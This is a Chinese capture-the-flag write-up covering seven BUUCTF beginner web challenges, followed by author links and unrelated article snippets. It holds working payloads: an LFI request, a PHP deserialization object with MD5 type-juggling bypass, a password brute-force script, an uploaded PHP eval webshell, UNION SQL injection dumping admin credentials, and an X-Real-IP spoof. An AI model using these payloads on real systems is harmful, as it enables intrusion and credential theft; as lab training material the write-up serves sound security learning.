buuctf Basic
buuctf Basic
1.Linux Labs
根据提示我们可以知道需要远程连接linux服务器,这里使用xshell进行如下配置
输入ssh的用户名root,密码123456
连接成功
构造命令
ls …/
查看文件
查看flag
cat …/flag.txt
为flag{8fee8783-1ed5-4b67-90eb-a1d603a02080}
2.BUU LFI COURSE 1
访问url:
http://1dfbd1cf-beb9-496d-866d-d8be04ecc4fe.node3.buuoj.cn/
审查源代码,可以发现是通过get方式对file进行传参
构造payload:
http://1dfbd1cf-beb9-496d-866d-d8be04ecc4fe.node3.buuoj.cn/?file=/flag
获取flag为flag{f2be8efe-aafb-4272-9026-15daa6109822}
3.BUU CODE REVIEW 1
访问url
http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/
审查源码
<?php
/*** Created by PhpStorm.* User: jinzhao* Date: 2019/10/6* Time: 8:04 PM*/highlight_file(__FILE__);class BUU { //类:BUU public $correct = ""; //公有属性:$correctpublic $input = ""; //公有属性:$inputpublic function __destruct() { //公有析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用try {$this->correct = base64_encode(uniqid()); //给correct赋值为base64_encode(uniqid()) //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。if($this->correct === $this->input) { //判断两个属性是否全等echo file_get_contents("/flag"); //若全等,则打印根目录下的flag}} catch (Exception $e) {}}
}if($_GET['pleaseget'] === '1') { //GET方法传递pleaseget变量值为1if($_POST['pleasepost'] === '2') { //POST方法传递pleasepost变量值为2if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { //POST方法传递md51和md52的内容不同
但是md5值相同unserialize($_POST['obj']);}}
}
编写代码,构造payload
<?php
class BUU{public $correct="";public $input="";
}$obj = new BUU;
$obj->input=&$obj->correct; BUU类中的correct和input内容强相等,这里利用传引用的方法
echo serialize($obj);
?>
得到的字符串:
O:3:“BUU”:2:{s:7:“correct”;s:0:“”;s:5:“input”;R:2;}
通过数组使用hackbar构造payload1
http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/?pleaseget=1
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
如下
原理:PHP 当中使用== 来进行比较的时候,系统会自动处理数据类型, 进行分析是数字比较还是字符比较。 而当一个字符串值是0e开头的时候,那么就会被当成数值。而0exxxxxx都为0.
那么就只需要找到两个不同的数值,开头却是以e0开头的即可。如下图中所示。
通过弱类型使用hackbar构造payload2
http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/?pleaseget=1
pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
如下
得到flag{e8db4533-5be4-4167-823c-99aa37dd11c3}
4.BUU BRUTE 1
访问url
http://1ceee8eb-6422-4482-b14b-ff6347146129.node3.buuoj.cn/
第一种方式,Python脚本
import requests
url = "http://1ceee8eb-6422-4482-b14b-ff6347146129.node3.buuoj.cn/?username=admin&password="
for i in range(6400, 7000):res = requests.get(url + str(i))print("[*] Try:", i)if res.text != "密码错误,为四位数字。":print(res.text)break
漏洞证明
第二种方式,burp爆破(注意线程要慢,否则会ban)
得到flag{410c3a24-9741-48ad-bea2-664880484307}
5.BUU UPLOAD COURSE 1
访问url
http://744b8e7e-1960-4d5e-b864-0818361e1f50.node3.buuoj.cn/index.php?file=upload.php
这是一道上传一句话木马的题,有一个可以提交文件的页面
写一个普通的 php 脚本,保存改后缀为 .php 尝试上传
<?php echo 'Hello World!'; ?>
页面提示
可以在 ?file=uploads/6078008f5d264.jpg 查看,有相应的内容回显,说明自定义的 php 脚本被成功执行
把脚本修改成一句话木马
<?php @eval(system($_POST["x"]));?>
成功上传后
访问相应的 ?file=uploads/60780125ea642.jpg,页面空白,说明 php 命令被成功执行
hackbar构造payload
http://744b8e7e-1960-4d5e-b864-0818361e1f50.node3.buuoj.cn/index.php?file=uploads/60780125ea642.jpg x=ls
成功拿到 shell
提交 cat /flag 拿到 flag{75427571-4ee5-4f7c-b97a-b84ad969ca1f}
6.BUU SQL COURSE 1
访问url
http://ab600305-c94f-49ad-9122-563513c0d4e1.node3.buuoj.cn/#/
首页如下
审查元素,点击测试新闻1的链接,可以在Network处看到注入点
接下来就是常规注入,构造payload,查询表名
?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
为admin,contents
查询admin表中的列名
?id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#
为id,username,password
查询username,password的字段内容
?id=0 union select group_concat(username),group_concat(password) from admin#
为admin,5398f18f7e93f8e45f6ea31bc4105a2d
得到flag{86ac0951-9f94-4b5e-b19b-07a9a4109c15}
7.BUU BURP COURSE 1
访问url
http://458d48b9-467d-475b-a1b6-0186d6370927.node3.buuoj.cn/
页面提示
构造payload
X-Real-IP:127.0.0.1
成功绕过
构造payload
username=admin&password=wwoj2wio2jw93ey43eiuwdjnewkndjlwe
X-Real-IP:127.0.0.1
得到flag{1470d887-a1c6-4109-b401-12ccda3cba8d}
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
相关文章:

buuctf Basic
buuctf Basic 1.Linux Labs 根据提示我们可以知道需要远程连接linux服务器,这里使用xshell进行如下配置 输入ssh的用户名root,密码123456 连接成功 构造命令 ls …/ 查看文件 查看flag cat …/flag.txt 为flag{8fee8783-1ed5-4b67-90eb-a1d603a0208…...

赛狐ERP|亚马逊产品缺货怎么办?该如何补救?
由于物流时效的延长,运输成本的增加,亚马逊的仓储限制等各种原因,断货问题很常成为亚马逊卖家的普遍困扰。那么亚马逊产品缺货应该怎么办!1、提高产品价格:除了卖自己的Listing此外,提高产品价格也是一种保…...
《Elasticsearch源码解读与优化实战》张超-读书笔记
写在前面 好久没更新博客了,应届狗没办法啊╮(╯▽╰)╭为了秋招搞了小半年,从去年5月到现在搞了两段实习(京东、游戏公司),最终年前拿到一家还不错的offer,现在已经入职实习了,不出意外的话以…...

编码踩坑——运行时报错java.lang.NoSuchMethodError / 同名类加载问题 / 双亲委派【建议收藏】
本篇介绍一个实际遇到的排查异常的case,涉及的知识点包括:类加载机制、jar包中的类加载顺序、JVM双亲委派模型、破坏双亲委派模型及自定义类加载器的代码示例;问题背景业务版本,旧功能升级,原先引用的一个二方包中的du…...

软件测试选Python还是Java?
目录 前言 1、先从一门语言开始 2、两个语言的区别 3、两个语言的测试栈技术 4、如何选择两种语言? 总结 前言 对于工作多年的从业者来说,同时掌握java和Python两门语言再好不过,可以大大增加找工作时的选择范围。但是对于转行的人或者…...

“2023数据安全智能化中国行”活动,开幕即高能
工信部等16部门近日发布的《关于促进数据安全产业发展的指导意见》提出,到2025年,数据安全产业基础能力和综合实力明显增强,数据安全产业规模超过1500亿元,年复合增长率超过30%。到2035年,数据安全产业进入繁荣成熟期。…...

机器人操作规划——Deep Visual Foresight for Planning Robot Motion(2017 ICRA)
1 简介 model-based RL方法,预测Action对图像的变化,以push任务进行研究。 采用完全自监督的学习方式,不需要相机标定、3D模型、深度图像和物理仿真。 2 数据集 采用几百个物体、10个7dof机械臂采集了包括5万个push attempts的数据集。 每…...
go 连接redis集群
最近用redis shake做redis数据迁移,由于redis提供的客户端没有用于查看集群的工具,且我部署的redis集群是基于k8s来构建的,没有使用ingress做转发,所以只能在k8s内部访问集群,于是我先用gogin框架编写了访问redis集群的…...
LeetCode 146. LRU 缓存
原题链接 难度:middle\color{orange}{middle}middle 题目描述 请你设计并实现一个满足 LRU (最近最少使用) 缓存 约束的数据结构。 实现 LRUCacheLRUCacheLRUCache 类: LRUCache(intcapacity)LRUCache(int capacity)LRUCache(intcapacity) 以 正整数 …...

【mac】在m2 mbp上通过Parallels Desktop安装ubuntu22.04
文章目录前言一、参考文章二、版本信息三、方法1:通过ubuntu官网提供的iso安装3.1 配置服务器3.2 安装图形界面四、方法2:通过Parallels Desktop提供的安装包五、 小工具5.1 调整应用栏图标大小5.2 ubuntu获取mac的剪切板5.3 调整terminal字体大小5.4 安装samba5.5 ubuntu连接m…...

C++类和对象,初见类
坚持看完,结尾有思维导图总结 这里写目录标题C语言和 C 的区别类的定义类的初认识类的内容访问限定符类的作用域类的实例化类中的 this 指针总结C语言和 C 的区别 C 的祖师爷除了在 C语言的基础上化简了一些复杂操作 更为重要的是,两个语言实现的过程是…...

Redis常用数据结构及应用场景
1.总体结构 Redis中的数据,总体上是键值对,不同数据类型指的是键值对中值的类型。 2.string类型 Redis中最基本的类型,它是key对应的一个单一值。二进制安全,不必担心由于编码等问题导致二进制数据变化。所以redis的string可以…...
C++虚继承内存布局
C菱形继承内存布局 编译器:Visual Studio 2019 关于如何查看内存布局 B class B { public:B(): _ib(10), _cb(B){cout << "B()" << endl;}B(int ib, char cb): _ib(ib), _cb(cb){cout << "B(int,char)" << endl;}vi…...

IO模型--从BIO、NIO、AIO到内核select、poll、epoll剖析
IO基本概述 IO的分类 IO以不同的维度划分,可以被分为多种类型;从工作层面划分成磁盘IO(本地IO)和网络IO; 也从工作模式上划分:BIO、NIO、AIO;从工作性质上分为阻塞式IO与非阻塞式IO;…...

Zebec完成BNB Chain以及Near链上协议部署,多链化进程加速
从去年开始,Zebec 就开始以多链的形式来拓展自身的流支付生态,一方面向更多的区块链系统拓展自身流支付协议,即从Solana上向EVM链上对协议与通证等进行迁移与拓展。目前基本完成了在BNB Chain以及Near上的合约部署,且能够在这些EV…...

wpscan常见的使用方法
目录 简单介绍 暴力破解 信息收集 指定用户爆破 命令集合 简单介绍 Wordpress是一个以PHP和MySQL为平台的免费自由开源的博客软件和内容管理系统。 WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安…...
Tree 底层源码实现(二叉树、递归、迭代)
树(Tree)是一种非线性数据结构,由一组节点和它们之间的边组成。在树中,每个节点都有零个或多个子节点,除了根节点外,每个节点都有且仅有一个父节点。树可以被用于许多应用程序,如文件系统、XML文…...

家政服务小程序实战教程13-接入客服
小程序在微信里使用,以其无需安装随用随走为特点。但是有个问题是,如果提供商品或者服务的,用户如果有问题往往希望平台的运营方给出专业的解答。为了满足这类需求,就需要我们提供客服接入的功能,用户可以点击客服图标…...

大白话高并发(三)
背景 高并发得第三篇,讲一讲压测吧,因为我的目的是模拟100万人同时来秒杀。 是不是真的要找100万个人 没必要 ,你就算100万人掐着表在同一毫秒内把请求请求某一台机器,服务器也不可能在同一时间处理那么多请求,因为…...

vue全家桶(四)前端工程化
vue全家桶(四)前端工程化1.模块化的相关规范1.1模块化概述1.2模块化的分类A.浏览器端的模块化B.服务器端的模块化C.ES6模块化1.2.1 Node.js中通过bable体验ES6模块化1.2.2 ES6模块化的基本语法1.2.2.1 默认导出与默认导入1.2.2.2 按需导出与按需导入1.2.…...
RestClient
什么是RestClient RestClient 是 Elasticsearch 官方提供的 Java 低级 REST 客户端,它允许HTTP与Elasticsearch 集群通信,而无需处理 JSON 序列化/反序列化等底层细节。它是 Elasticsearch Java API 客户端的基础。 RestClient 主要特点 轻量级ÿ…...

JavaSec-RCE
简介 RCE(Remote Code Execution),可以分为:命令注入(Command Injection)、代码注入(Code Injection) 代码注入 1.漏洞场景:Groovy代码注入 Groovy是一种基于JVM的动态语言,语法简洁,支持闭包、动态类型和Java互操作性,…...

使用VSCode开发Django指南
使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架,专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用,其中包含三个使用通用基本模板的页面。在此…...

从深圳崛起的“机器之眼”:赴港乐动机器人的万亿赛道赶考路
进入2025年以来,尽管围绕人形机器人、具身智能等机器人赛道的质疑声不断,但全球市场热度依然高涨,入局者持续增加。 以国内市场为例,天眼查专业版数据显示,截至5月底,我国现存在业、存续状态的机器人相关企…...
多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验
一、多模态商品数据接口的技术架构 (一)多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如,当用户上传一张“蓝色连衣裙”的图片时,接口可自动提取图像中的颜色(RGB值&…...

2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...
Spring AI与Spring Modulith核心技术解析
Spring AI核心架构解析 Spring AI(https://spring.io/projects/spring-ai)作为Spring生态中的AI集成框架,其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似,但特别为多语…...

优选算法第十二讲:队列 + 宽搜 优先级队列
优选算法第十二讲:队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…...

dify打造数据可视化图表
一、概述 在日常工作和学习中,我们经常需要和数据打交道。无论是分析报告、项目展示,还是简单的数据洞察,一个清晰直观的图表,往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server,由蚂蚁集团 AntV 团队…...

2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...